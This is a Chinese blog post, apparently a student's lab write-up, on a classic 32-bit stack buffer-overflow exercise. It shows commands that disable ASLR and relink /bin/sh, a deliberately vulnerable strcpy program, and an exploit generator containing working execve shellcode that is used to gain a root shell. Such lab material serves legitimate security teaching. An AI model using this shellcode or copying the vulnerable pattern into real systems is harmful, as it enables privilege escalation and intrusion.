缓冲区溢出漏洞实验

  写在最开始。由于我做这个实验的时间比较早,当时的实验环境有些问题,所以在过程中遇到了实验本身之外的一些问题,在这篇博客中我将给出一些解决办法。当然现在的环境已经更新了,但是即便没有遇到此类问题的读者,如果有兴趣的话,也不妨看一看以下内容。

一、实验简介

  缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

二、实验准备

  实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要安装一些用于编译 32 位 C 程序的软件包:

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

三、实验步骤

1. 初始设置

  缓冲区溢出攻击是基于猜测内存地址进行的,我们需要使用以下命令来关闭随机化堆栈地址这一功能:

sudo sysctl -w kernel.randomize_va_space=0

  此外/bin/bash 中设置了调用 shell 的权限,而且/bin/sh 是指向 /bin/bash 或 /bin/dash 的一个符号链接,我们可以关闭这个链接,重现这一防护措施被实现之前的情形,用 zsh 来代替 sh :

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

  之后可以进入32位的 Linux 系统,并且使用/bin/bash 来使用 bash:

2. shellcode

  一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。

3. 漏洞程序

  在 /tmp 目录下新建一个 stack.c 文件:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

  接下来进入编译部分。GCC 编译器有一种栈保护机制来阻止缓冲区溢出,使用 –fno-stack-protector 关闭这种机制, -z execstack 用于允许执行栈。

  但是因为实验环境可能有些问题,编译时出现了报错,大意就是4.9版本下lgcc的静态库或动态库都是不兼容的,我去寻求可能的解决方法,查找到的结果是输入一下命令去修复此问题:

sudo apt-get install gcc-multilib g++-multilib module-assistant

  然而直接使用apt-get来安装,又会出现依赖关系不满足这样新的问题:

   所以这里我们选择使用aptitude,它能够更好地解决依赖冲突的问题。

sudo apt-get install aptitude

  接下来我们继续安装gcc-multilib、g++-multilib和module-assistant,发现aptitude提供的第一种方案和使用apt直接安装是一样的情况,所以不予考虑。

  第二种选择将 gcc 降级处理,来与当前运行库相匹配。这里经过测试是可行的。降级之后需要重新使用 ln 来连接一下 gcc ,当然这边不连接也行,每次编译加上-4.8就可以。


4. 攻击程序

  攻击刚才的漏洞程序,并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

  注意上面的代码,\x??\x??\x??\x?? 处需要改为 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句说明,shellcode 保存在 buffer + 100 的位置。下面我们就来寻找这个 buffer 的地址。

  使用 gdb 来进行调试,并且反汇编 main 函数:

gdb stack
disass main

  根据实验提示 esp 中就是 str 的起始地址,在 0x080484e8 处设置断点,找到 str 的地址。将此地址加上 100 或者是 0x64,就可以找到 shellcode 的地址了。

  我们把这个地址填回 exploit.c 的 ? 处,如图所示:

  再将其编译:

gcc-4.8 -m32 -o exploit exploit.c

5. 攻击结果

  先运行攻击程序 exploit,再运行漏洞程序 stack,观察前后比对的结果:

  可见,通过攻击,获得了root 权限!

四、拓展练习

1.  通过命令

sudo sysctl -w kernel.randomize_va_space=2

  打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

2.  将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。

3.  做这两个拓展练习时,都需要关闭之前的实验环境,重新进行堆栈的设置。但是很不巧的是,实验楼的试验次数刚好用完了,无法再开启环境,所以这一部分的实践就略过了,而且按照以上内容再操作一遍也是比较简单的。

  不过,根据其他同学写的博客内容,也不难知道这两个练习最后都是无法成功的,会发生 Segmentation fault 的错误,因为堆栈的地址都是随机化的了,想要如此攻击就变得困难。

五、实验总结

1.  通过本次实验,我对于缓冲区溢出攻击的方式以及防范策略有了更加深入的理解。本次实验主要是基于地址覆盖来实现的,将 shellcode 的地址覆盖栈中原先的返回地址,由此执行 shellcode 的攻击命令。

2.  但是以上内容只局限于理论层次,在实际进行操作时,还需要有很多其他的相应工作,比如关闭堆栈的随机化功能、为被攻击程序设置 Set-UID,并且保持其权限,还要在编译时关闭 GCC 的栈保护机制,以及设置栈允许执行等。一旦前面某一点不满足要求,缓冲区溢出的攻击都很难执行。

3.  另外,通过其他课程的学习可知,缓冲区溢出攻击还有其他一些方式,这些操作也可以考虑进行相关实践。

posted @ 2020-10-11 10:26  高教授  阅读(193)  评论(0编辑  收藏  举报